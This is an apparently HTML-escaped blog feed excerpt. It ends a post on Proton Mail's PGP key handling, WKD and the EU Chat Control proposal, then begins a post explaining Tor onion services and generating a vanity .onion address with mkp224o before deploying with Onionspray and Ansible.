&lt;figure&gt;
&lt;img class=&quot;&quot;alt=&quot;End-to-end encrypted email accessed through Proton Mail&amp;#x27;s web UI.&quot;src=&quot;e2ee-email.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;End-to-end encrypted email accessed through Proton Mail&#x27;s web UI.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;h1 id=&quot;protecting-our-inbox-from-spam&quot;&gt;Protecting our inbox from spam&lt;&#x2F;h1&gt;
&lt;p&gt;If you put this form, as coded here, on the open Internet, your inbox will probably soon be &lt;em&gt;drowning&lt;&#x2F;em&gt; in spam. So the form at the top of this page is different than the code in the article, to make it a little more robust.&lt;&#x2F;p&gt;
&lt;p&gt;But worry not: the changes made are the subject of the next article, where we’ll talk about the &lt;strong&gt;added anti-spam code&lt;&#x2F;strong&gt; to do email verification, and &lt;strong&gt;Traefik + CrowdSec&lt;&#x2F;strong&gt;, two additionnal pieces of software I’m using for hardening.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Subscribe to my &lt;a href=&quot;&#x2F;rss.xml&quot;&gt;RSS feed&lt;&#x2F;a&gt; and&#x2F;or follow me &lt;a href=&quot;https:&#x2F;&#x2F;infosec.exchange&#x2F;@zoug&quot;&gt;on Mastodon&lt;&#x2F;a&gt; if you don’t want to miss it!&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the meantime, you can already check out the final version of the code, including what’s not covered yet in this blog post: I’ve put everything in &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;pgp-contact&quot;&gt;this GitHub repo&lt;&#x2F;a&gt;. I’ve also included what’s needed to create a Docker image from the Rust backend binary, and an example Docker Compose file to deploy everything.&lt;&#x2F;p&gt;
&lt;p&gt;⭐ &lt;strong&gt;Want to make my day? You can &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;pgp-contact&quot;&gt;star the repo on GitHub!&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; ⭐&lt;&#x2F;p&gt;
&lt;h1 id=&quot;proton-mail-and-encrypted-communications&quot;&gt;Proton Mail and encrypted communications&lt;&#x2F;h1&gt;
&lt;p&gt;To use OpenPGP, you’d usually generate a keypair with something like &lt;code&gt;gnupg&lt;&#x2F;code&gt;, and that’s the public key you’d share with your correspondants for private communication. &lt;strong&gt;This is not what I’m doing here&lt;&#x2F;strong&gt;: because I use Proton Mail, and because their whole ecosystem is built around PGP encryption, &lt;strong&gt;they&lt;&#x2F;strong&gt; manage the keypair for me.&lt;&#x2F;p&gt;
&lt;p&gt;In a nutshell, they actually &lt;strong&gt;do not have access to my private key&lt;&#x2F;strong&gt;: it is generated on my computer, &lt;strong&gt;encrypted&lt;&#x2F;strong&gt; using a key derived from my password, before being sent to them. Likewise when I look at my emails, &lt;strong&gt;my device&lt;&#x2F;strong&gt;, not their servers, decrypts the private key using my password.&lt;&#x2F;p&gt;
&lt;p&gt;They make heavy use of OpenPGPjs, the same library we used here, to handle decrypting your emails and data. You can also look at their code: a lot of Proton Mail is open source, e.g. &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ProtonMail&#x2F;WebClients&quot;&gt;their web clients&lt;&#x2F;a&gt;. An independent audit report, albeit a little old, is &lt;a href=&quot;https:&#x2F;&#x2F;proton.me&#x2F;community&#x2F;open-source&quot;&gt;also available&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Moreover, Proton Mail &lt;a href=&quot;https:&#x2F;&#x2F;proton.me&#x2F;blog&#x2F;encrypted-email-authentication&quot;&gt;implements SRP&lt;&#x2F;a&gt;. This makes it possible to &lt;strong&gt;authenticate without sending your password&lt;&#x2F;strong&gt; to the server. You can verify this easily by looking at your network traffic when making a login request:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;&quot;alt=&quot;Request sent by my browser when logging-in to Proton Mail&quot;src=&quot;protonmail-srp.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;Request sent by my browser when logging-in to Proton Mail.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;This is how you can use the Proton Mail website much like you would use Gmail, while allowing them to keep their end-to-end encryption promise. This is also why, when resetting your account password, you &lt;a href=&quot;https:&#x2F;&#x2F;proton.me&#x2F;support&#x2F;recover-encrypted-messages-files&quot;&gt;can’t access your data&lt;&#x2F;a&gt; without some way of restoring it.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;I went down a little rabbit hole trying to understand the flow of account creation, using breakpoints in my browser’s debugger and searching through the Proton Mail codebase linked above. I initially wanted to do deeper technical dive into all this in another article, but I stumbled into &lt;a href=&quot;https:&#x2F;&#x2F;afarah.info&#x2F;public&#x2F;blog&#x2F;verify&#x2F;proton&#x2F;index.html&quot;&gt;this one&lt;&#x2F;a&gt; by searching GitHub, which does it better than I could!&lt;&#x2F;p&gt;
&lt;p&gt;Since it’s public domain, I’ll reproduce one of the diagrams here, which explains what gets generated and how it’s encrypted before being sent to Proton Mail, and the same flow for decryption:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;world-most-interesting-contact-form&#x2F;cryptflow.png&quot; alt=&quot;Diagram of the crypto flow of Proton Mail signup&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If you want to understand how Proton Mail handles your password and private keys every step of the way, be sure to &lt;a href=&quot;https:&#x2F;&#x2F;afarah.info&#x2F;public&#x2F;blog&#x2F;verify&#x2F;proton&#x2F;index.html&quot;&gt;check it out&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Of course with email, you always have to put &lt;strong&gt;some&lt;&#x2F;strong&gt; kind of trust in your provider. Me personally, I’d rather trust Proton Mail than Google or Microsoft, for the simple reason that Proton Mail’s business model is &lt;strong&gt;making money from subscriptions&lt;&#x2F;strong&gt;, while Google, Microsoft and the rest of the tech giants’ business model is, at least partly, &lt;strong&gt;making money from their users’ data&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Almost 100% of the emails I send and receive are &lt;strong&gt;not&lt;&#x2F;strong&gt; end-to-end encrypted. So Proton Mail could technically store a decrypted copy of my emails somewhere, either:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;when I receive them, &lt;strong&gt;before encrypting them&lt;&#x2F;strong&gt; for storage in my inbox&lt;&#x2F;li&gt;
&lt;li&gt;when I send an email &lt;strong&gt;without PGP encryption&lt;&#x2F;strong&gt;, so to pretty much everyone&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Also, &lt;a href=&quot;https:&#x2F;&#x2F;www.privacyguides.org&#x2F;en&#x2F;basics&#x2F;email-security&#x2F;#email-metadata-overview&quot;&gt;your email’s metadata&lt;&#x2F;a&gt; (i.e. the fact that you sent an email to &lt;code&gt;someone@example.com&lt;&#x2F;code&gt; at 2:33pm last Saturday) is never safe, even with end-to-end encryption: you have to trust your provider with it. This is what you get when a protocol &lt;a href=&quot;https:&#x2F;&#x2F;www.rfc-editor.org&#x2F;rfc&#x2F;rfc821&quot;&gt;first created in 1982&lt;&#x2F;a&gt; is still widely used today.&lt;&#x2F;p&gt;
&lt;p&gt;Yet another way for Proton Mail (or whoever makes them) to access my emails, &lt;strong&gt;even those end-to-end encrypted&lt;&#x2F;strong&gt;, is changing the JavaScript served by their web UI. While this wouldn’t go unnoticed very long if done on a large scale, it’s impossible for me, as an end user, to verify this every time I use the web app.&lt;&#x2F;p&gt;
&lt;p&gt;One thing’s for sure: using OpenPGP and end-to-end encryption more widely can’t hurt. Nowadays, some people implement &lt;a href=&quot;https:&#x2F;&#x2F;wiki.gnupg.org&#x2F;WKD&quot;&gt;WKD&lt;&#x2F;a&gt; (I know &lt;code&gt;zoug.fr&lt;&#x2F;code&gt; &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;zougfr&#x2F;pull&#x2F;6&quot;&gt;does&lt;&#x2F;a&gt; 😉), which allows email clients to automatically fetch the OpenPGP public key belonging to a given email address. In fact, you &lt;a href=&quot;https:&#x2F;&#x2F;keys.openpgp.org&#x2F;about&#x2F;usage&#x2F;#wkd-as-a-service&quot;&gt;don’t even need to serve any file yourself&lt;&#x2F;a&gt; to set it up for your domain.&lt;&#x2F;p&gt;
&lt;p&gt;Proton Mail implements WKD &lt;a href=&quot;https:&#x2F;&#x2F;proton.me&#x2F;blog&#x2F;security-updates-2019&quot;&gt;since 2019&lt;&#x2F;a&gt; and if your domain also does, their users will send you encrypted emails automatically. This is great, because a lot of the problems with OpenPGP revolve around the fact it’s hard to use: this helps making it easier to work with.&lt;&#x2F;p&gt;
&lt;p&gt;Now, I’ve been a happy user of Proton Mail for almost twelve yers: I created my account during their first public beta, in 2014. In fact I still have a &lt;code&gt;@protonmail.ch&lt;&#x2F;code&gt; address (they stop issuing those years ago), and here’s a very, very old screenshot I found in my backups:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;&quot;alt=&quot;Screenshot of the Proton Mail webapp from March 2016&quot;src=&quot;protonmail-2016.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;Screenshot of the Proton Mail webapp from March 2016.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;However, Proton’s CEO Andy Yen did recently cause a little Reddit “firestorm”, that made some people believe he’s pro-Trump. The orange toddler and his ideas are everything I stand against, so this damn near missed convincing me to switch to &lt;a href=&quot;https:&#x2F;&#x2F;mailbox.org&#x2F;&quot;&gt;Mailbox.org&lt;&#x2F;a&gt; (also built around OpenPGP, and way cheaper than the premium Proton Mail plan, but no free plan).&lt;&#x2F;p&gt;
&lt;p&gt;When looking into what was actually tweeted, it is more nuanced: &lt;a href=&quot;https:&#x2F;&#x2F;techissuestoday.com&#x2F;proton-ceo-responds-to-backlash-after-his-post-supporting-trump-selection&#x2F;&quot;&gt;this news article&lt;&#x2F;a&gt; does a good job summarizing what happened. Privacy-wise, I feel like Proton Mail has been doing everything right, so I recommend their services. Policy-wise, when your competition’s Google, the bar is &lt;a href=&quot;https:&#x2F;&#x2F;www.404media.co&#x2F;google-has-chosen-a-side-in-trumps-mass-deportation-effort&#x2F;&quot;&gt;very, very low&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In any case, while I’ve talked about Proton Mail here, you’re absolutely not forced to use them for end-to-end encrypted email, nor even any secure email provider: that’s the beauty of it, your email’s contents are unreadable from anyone except your email’s recipient, provided they use OpenPGP (the hard part), and provided you don’t care about the metadata (you should). You can reproduce the setup described here with &lt;strong&gt;any email provider&lt;&#x2F;strong&gt;, if your email &lt;strong&gt;client&lt;&#x2F;strong&gt; supports OpenPGP (like &lt;a href=&quot;https:&#x2F;&#x2F;support.mozilla.org&#x2F;en-US&#x2F;kb&#x2F;openpgp-thunderbird-howto-and-faq&quot;&gt;Thunderbird&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chat-control&quot;&gt;Chat Control&lt;&#x2F;h2&gt;
&lt;p&gt;I can’t end this article without at least mentioning &lt;strong&gt;Chat Control&lt;&#x2F;strong&gt;, since it’s still very much alive at the time I’m writing it.&lt;&#x2F;p&gt;
&lt;p&gt;Chat Control is a very dangerous European Union law proposal that was defeated around a month ago, or so we thought, because it is now back &lt;a href=&quot;https:&#x2F;&#x2F;www.patrick-breyer.de&#x2F;en&#x2F;chat-control-2-0-through-the-back-door-breyer-warns-the-eu-is-playing-us-for-fools-now-theyre-scanning-our-texts-and-banning-teens&#x2F;&quot;&gt;“through the back door”&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Especially if you live in Europe, &lt;strong&gt;make sure to send an email&lt;&#x2F;strong&gt; to your representatives (in your native language). Since you’re here, you probably care about these issues (few do): the &lt;a href=&quot;https:&#x2F;&#x2F;fightchatcontrol.eu&#x2F;&quot;&gt;fightchatcontrol.eu&lt;&#x2F;a&gt; website has everything you need to help you make your voice heard, and if even you don’t do it, no-one will 😉.&lt;&#x2F;p&gt;
&lt;p&gt;If you made it this far, be sure to let me know and share any thoughts using… the contact form above, of course! You can also leave a comment below.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Deploy a Tor onion service with Onionspray and Ansible</title>
        <published>2025-11-04T00:00:00+00:00</published>
        <updated>2025-11-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/deploy-tor-onion-service-onionspray-ansible/"/>
        <id>https://zoug.fr/deploy-tor-onion-service-onionspray-ansible/</id>
        
        <content type="html" xml:base="https://zoug.fr/deploy-tor-onion-service-onionspray-ansible/">&lt;h1 id=&quot;foreword&quot;&gt;Foreword&lt;&#x2F;h1&gt;
&lt;p&gt;Hi there, and many thanks for being here!&lt;&#x2F;p&gt;
&lt;p&gt;In this article, we’ll talk a little about privacy on the Internet, focusing on the &lt;strong&gt;Tor network&lt;&#x2F;strong&gt;. We’ll explore &lt;strong&gt;Tor onion services&lt;&#x2F;strong&gt; (also called &lt;strong&gt;hidden services&lt;&#x2F;strong&gt;), what they are, what’s their purpose, before &lt;strong&gt;creating our own&lt;&#x2F;strong&gt; very easily using &lt;strong&gt;Onionspray&lt;&#x2F;strong&gt; and &lt;strong&gt;Ansible&lt;&#x2F;strong&gt;. We’ll also explain how to create a vanity Tor address with &lt;code&gt;mkp224o&lt;&#x2F;code&gt;, and advertise our onion service with the &lt;code&gt;Onion-Location&lt;&#x2F;code&gt; header (read on if this doesn’t make sense for now).&lt;&#x2F;p&gt;
&lt;p&gt;What prompted this article is the &lt;strong&gt;recent release of the v3&lt;&#x2F;strong&gt; of the &lt;a href=&quot;https:&#x2F;&#x2F;gitlab.torproject.org&#x2F;tpo&#x2F;onion-services&#x2F;ansible&#x2F;onionspray-role&#x2F;&quot;&gt;official Onionspray Ansible role&lt;&#x2F;a&gt;, of which I am the original creator and one of the current maintainers, along with &lt;a href=&quot;https:&#x2F;&#x2F;gitlab.torproject.org&#x2F;rhatto&quot;&gt;Silvio Rhatto&lt;&#x2F;a&gt; from the Tor Project who significantly improved it.&lt;&#x2F;p&gt;
&lt;p&gt;Feel free to use the table of contents to skip to the section relevant to you. Let’s dive right in!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-tor-network&quot;&gt;The Tor network&lt;&#x2F;h2&gt;
&lt;p&gt;When browsing the Internet, we leave &lt;em&gt;traces&lt;&#x2F;em&gt;. These are collected by various means. A lot can be used to track you, and I mean &lt;em&gt;a lot&lt;&#x2F;em&gt;: for example, &lt;a href=&quot;https:&#x2F;&#x2F;fingerprint.com&#x2F;blog&#x2F;how-android-wallpaper-images-threaten-privacy&#x2F;&quot;&gt;the wallpaper you chose on your phone&lt;&#x2F;a&gt;. The subject of online privacy is vast, and websites like &lt;a href=&quot;https:&#x2F;&#x2F;www.privacyguides.org&#x2F;en&#x2F;basics&#x2F;why-privacy-matters&#x2F;&quot;&gt;privacyguides.org&lt;&#x2F;a&gt; are full of resources to help you understand why you should care, and how to protect yourself.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve also written on the subject, in French, &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;pph-votre-vie-privee-aujourd-hui&#x2F;&quot;&gt;in this article&lt;&#x2F;a&gt;. It was a long time ago, but still is a great introduction. &lt;small&gt;I’m pretty proud of it.&lt;&#x2F;small&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We’ll focus here on the &lt;strong&gt;Tor network&lt;&#x2F;strong&gt;, one way of improving your online privacy. You may have heard of it under the scary name of &lt;strong&gt;dark web&lt;&#x2F;strong&gt; or &lt;strong&gt;darknet&lt;&#x2F;strong&gt;, though those terms are more general (Tor being a specific network, others exist). Tor is pretty old, and was first developed in the 80s by the US Navy to protect government communications.&lt;&#x2F;p&gt;
&lt;p&gt;To understand Tor, you first need to know about &lt;strong&gt;the Internet Protocol&lt;&#x2F;strong&gt;, or &lt;strong&gt;IP&lt;&#x2F;strong&gt;, what you use to browse the Internet. The Internet works like a post office: when visiting &lt;code&gt;zoug.fr&lt;&#x2F;code&gt;, you rely on &lt;strong&gt;IP addresses&lt;&#x2F;strong&gt; (e.g. &lt;code&gt;203.0.113.48&lt;&#x2F;code&gt;) to send data through wires so that it reaches the &lt;code&gt;zoug.fr&lt;&#x2F;code&gt; webserver, and likewise, the webserver uses your IP address to send you data back, much like postal services rely on zip codes and street names for mail.&lt;&#x2F;p&gt;
&lt;p&gt;Tor tries to solve these two problems:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Hiding the IP address you’re using, from the website you visit&lt;&#x2F;li&gt;
&lt;li&gt;Hiding the IP addresses you’re communicating with, from anyone observing your network traffic, be it an ISP, your workplace (though Tor is blocked in most corporate networks), a public WiFi, etc.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;To achieve this, Tor uses a principle known as &lt;strong&gt;onion routing&lt;&#x2F;strong&gt;. This is how &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Onion_routing&quot;&gt;Wikipedia&lt;&#x2F;a&gt; describes this, emphasis mine:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;In an onion network, messages are encapsulated in &lt;strong&gt;layers of encryption&lt;&#x2F;strong&gt;, analogous to the layers of an onion. The encrypted data is transmitted through a series of network nodes called “onion routers”, each of which &lt;strong&gt;“peels” away a single layer&lt;&#x2F;strong&gt;, revealing the data’s next destination.&lt;&#x2F;p&gt;
&lt;p&gt;When the final layer is decrypted, the message arrives at its destination. The sender remains anonymous because &lt;strong&gt;each intermediary knows only the location of the immediately preceding and following nodes&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;For Tor, the “onion routers” in the above definition are called &lt;strong&gt;Tor relays&lt;&#x2F;strong&gt;. When establishing a Tor connection, your computer will create what is called &lt;strong&gt;a circuit&lt;&#x2F;strong&gt;, that will consist of &lt;strong&gt;guard node&lt;&#x2F;strong&gt;, your point of entry into the Tor network, an intermediate node inside the network, and an &lt;strong&gt;exit node&lt;&#x2F;strong&gt; (by default). From there, the exit node makes a connection to the final website, through the Internet, and the answer is forwarded back to you through all the nodes of your Tor connection. This works differently for onion services - more on that later.&lt;&#x2F;p&gt;
&lt;p&gt;Each Tor relay has a public and private key, for encrypting and decrypting messages with their users, and your computer knows the public keys of the relays it chose and their IP address. By sending its traffic through these three machines, it becomes pretty hard, though not impossible, to track you online using your Internet traffic.&lt;&#x2F;p&gt;
&lt;p&gt;I won’t go into more details here: for more info on how this all works, you can &lt;a href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=QRYzre4bf7I&quot;&gt;watch this YouTube video from Computerphile&lt;&#x2F;a&gt;, which does a great job at explaining the core concepts of Tor.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tor-onion-services&quot;&gt;Tor onion services&lt;&#x2F;h2&gt;
&lt;p&gt;There are two main ways to use Tor. One is just to browse the Internet via &lt;a href=&quot;https:&#x2F;&#x2F;www.torproject.org&#x2F;download&#x2F;&quot;&gt;Tor Browser&lt;&#x2F;a&gt;, a browser preconfigured for Tor and based on Firefox, as previously described. This increases your online privacy, and allows you to bypass censorship in most cases. However, when using Tor this way, your web traffic &lt;strong&gt;leaves the Tor network&lt;&#x2F;strong&gt; at the end of your Tor circuit, when your exit relay contacts the website you’re connecting to.&lt;&#x2F;p&gt;
&lt;p&gt;A sophisticated attacker observing the traffic between:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;you and your Tor guard node&lt;&#x2F;li&gt;
&lt;li&gt;your Tor exit node and the website you’re visiting&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;…could do &lt;strong&gt;a correlation attack&lt;&#x2F;strong&gt; to try to identify your connection.&lt;&#x2F;p&gt;
&lt;p&gt;The logic is simple: the attacker first observes that a particular IP address connects to Tor, sends a given amount of data, and shortly after sees a similar amount of data going out to a specific webserver, say &lt;code&gt;zoug.fr&lt;&#x2F;code&gt;. With enough data, the attacker could infer which IP address is connecting to &lt;code&gt;zoug.fr&lt;&#x2F;code&gt; through Tor in this case.&lt;&#x2F;p&gt;
&lt;p&gt;While doing research for this article, I stumbled upon &lt;a href=&quot;https:&#x2F;&#x2F;blog.torproject.org&#x2F;one-cell-enough-break-tors-anonymity&#x2F;&quot;&gt;this old blog post&lt;&#x2F;a&gt; (2009) by the Tor Project, and while it is of course outdated, it does a great job at explaining more precisely what we’re talking about here. If you’re interested in the subject, you can also take a look at this &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Attacks-on-Tor&#x2F;Attacks-on-Tor&quot;&gt;GitHub repo&lt;&#x2F;a&gt;, which references some of the last years’ attacks on the Tor network.&lt;&#x2F;p&gt;
&lt;p&gt;If your data never leaves the Tor network, the attacker can no longer rely on its traffic sniffing between an exit node and the Internet (point 2 above). This is where the other main usage of Tor comes in, &lt;strong&gt;Tor onion services&lt;&#x2F;strong&gt;, previously known as Tor &lt;strong&gt;hidden services&lt;&#x2F;strong&gt; (we’ll stick with the “onion service” terminology in this article).&lt;&#x2F;p&gt;
&lt;p&gt;An onion service is a webserver, like the ones you’re connecting to on the Internet, but &lt;strong&gt;inside the Tor network&lt;&#x2F;strong&gt;. By leveraging similar concepts as the ones described above, namely creating Tor circuits, using &lt;a href=&quot;https:&#x2F;&#x2F;spec.torproject.org&#x2F;rend-spec&#x2F;rendezvous-protocol.html&quot;&gt;rendezvous points&lt;&#x2F;a&gt; and many hops inside the Tor network, Tor allows you to connect to an onion service while:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;not knowing the IP address of the onion service, thus allowing it to stay hidden inside the Tor network&lt;&#x2F;li&gt;
&lt;li&gt;not communicating your IP address to the webserver you’re connecting to&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Essentially, a two-way communication tunnel between Alice and Bob, where neither Alice nor Bob knows where the other is. Pretty nifty!&lt;&#x2F;p&gt;
&lt;p&gt;This is how your traffic is best protected: the correlation attacks we talked about above are no longer practical, since your traffic no longer exits the Tor network via an exit relay. Attacks are of course still possible, as always in cybersecurity: &lt;em&gt;nothing&lt;&#x2F;em&gt; is ever 100% unbreakable.&lt;&#x2F;p&gt;
&lt;p&gt;To connect to onion services, you don’t use IP addresses nor domain names (which are really just IP addresses, once DNS translates them), but &lt;strong&gt;&lt;code&gt;.onion&lt;&#x2F;code&gt; addresses&lt;&#x2F;strong&gt; instead. These look like this (here, using DuckDuckGo’s address):&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Tor Browser can show you the circuit you took to access the onion service:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;no-hover&quot;alt=&quot;Screenshot of a Tor Browser circuit connecting to DuckDuckGo&quot;src=&quot;tor-browser-ddg-circuit.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;Screenshot of a Tor Browser circuit connecting to DuckDuckGo&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;This address allows you to find, via a hash table distributed throughout the Tor network, a &lt;strong&gt;descriptor&lt;&#x2F;strong&gt; of the onion service. This descriptor contains some info allowing you to establish an anonymous connection with to corresponding onion service, e.g. a public key for encrypting communications. More info on how all this works &lt;a href=&quot;https:&#x2F;&#x2F;spec.torproject.org&#x2F;rend-spec&#x2F;protocol-overview.html&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;You can create your own onion service easily. The usual way to go about this is using the Tor daemon, &lt;a href=&quot;https:&#x2F;&#x2F;community.torproject.org&#x2F;onion-services&#x2F;setup&#x2F;&quot;&gt;it’s pretty straightforward&lt;&#x2F;a&gt;. However, if your website is complex, it may not be practical to add a Tor daemon to your webserver, or it may raise security concerns.&lt;&#x2F;p&gt;
&lt;p&gt;This is where &lt;a href=&quot;https:&#x2F;&#x2F;gitlab.torproject.org&#x2F;tpo&#x2F;onion-services&#x2F;onionspray&quot;&gt;Onionspray&lt;&#x2F;a&gt; comes into play. It works like a proxy to your existing HTTPS website, so that it can be accessed through Tor and a &lt;code&gt;.onion&lt;&#x2F;code&gt; address, without having to modify your main website. This way, you can offer your users access through Tor via a dedicated webserver, that will proxy the requests to your main infrastructure.&lt;&#x2F;p&gt;
&lt;p&gt;This offers your users &lt;strong&gt;greater reliability of their Tor connection&lt;&#x2F;strong&gt; (you’re managing the final hop, which only handles connections to your website, instead of the final hop being an exit node used by thousands of users), and &lt;strong&gt;better protection of their anonymity&lt;&#x2F;strong&gt; (again, because they’re no longer relying on public exit nodes where traffic could be sniffed by sophisticated attackers).&lt;&#x2F;p&gt;
&lt;h1 id=&quot;generate-a-vanity-onion-address&quot;&gt;Generate a vanity &lt;code&gt;.onion&lt;&#x2F;code&gt; address&lt;&#x2F;h1&gt;
&lt;p&gt;Before putting these concepts into practice by leveraging the Onionspray Ansible role, we’ll first generate what is called a &lt;strong&gt;vanity Tor address&lt;&#x2F;strong&gt;. Vanity, because using one of these is &lt;em&gt;vain&lt;&#x2F;em&gt;: your onion service will work just as well with a randomly generated &lt;code&gt;.onion&lt;&#x2F;code&gt; address.&lt;&#x2F;p&gt;
&lt;p&gt;They’re just regular &lt;code&gt;.onion&lt;&#x2F;code&gt; addresses, but with a chosen prefix instead of pure randomness. Using them can help users quickly verify that they’re connecting to the right website.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll use &lt;code&gt;mkp224o&lt;&#x2F;code&gt;, which is very fast, though it only uses your CPU to generate &lt;code&gt;.onion&lt;&#x2F;code&gt; addresses. In theory for this kind of computations, graphics cards could achieve higher speeds. For a 6-character prefix however, in this case &lt;code&gt;zougfr&lt;&#x2F;code&gt;, raw computing power doesn’t matter much: any laptop can find one pretty fast. It only took like 30 seconds on mine (and my laptop is not exactly new).&lt;&#x2F;p&gt;
&lt;p&gt;The difficulty, however, greatly increases with a longer prefix. As a former employee of the independent French media outlet &lt;a href=&quot;https:&#x2F;&#x2F;www.mediapart.fr&#x2F;&quot;&gt;Mediapart&lt;&#x2F;a&gt; (&lt;em&gt;Abonnez-vous !&lt;&#x2F;em&gt;), I generated their &lt;code&gt;.onion&lt;&#x2F;code&gt; address, and for 9 characters (namely &lt;code&gt;mediapart&lt;&#x2F;code&gt;), even with substantial computing power, it took around 24 hours. If you want to know more about Mediapart and Tor, you can &lt;a href=&quot;https:&#x2F;&#x2F;blogs.mediapart.fr&#x2F;mediapart-journal-independant-et-participatif&#x2F;blog&#x2F;050924&#x2F;mediapart-launches-tor&quot;&gt;read the blog post&lt;&#x2F;a&gt; I wrote back then to introduce this new service to the readers (&lt;a href=&quot;https:&#x2F;&#x2F;blogs.mediapart.fr&#x2F;mediapart-journal-independant-et-participatif&#x2F;blog&#x2F;050924&#x2F;face-au-peril-democratique-mediapart-se-lance-sur-tor&quot;&gt;here in French&lt;&#x2F;a&gt;), or &lt;a href=&quot;https:&#x2F;&#x2F;blog.torproject.org&#x2F;mediapart-launches-onion-service&#x2F;&quot;&gt;this interview&lt;&#x2F;a&gt; on the subject with the Tor Project.&lt;&#x2F;p&gt;
&lt;p&gt;After installing &lt;code&gt;mkp224o&lt;&#x2F;code&gt; (e.g. via &lt;code&gt;snap&lt;&#x2F;code&gt; with &lt;code&gt;sudo snap install mkp224o&lt;&#x2F;code&gt;), to search for a &lt;code&gt;.onion&lt;&#x2F;code&gt; address with the &lt;code&gt;zougfr&lt;&#x2F;code&gt; prefix:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;mkp224o zougfr
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;sorting filters... done.
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;filters:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;        zougfr
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;in total, 1 filter
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;using 4 threads
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;zougfriqn4pmip5tsujpzuj4gp4opwjehkkrksacy6iqsifm25tm6byd.onion
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;^Cwaiting for threads to finish... done.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
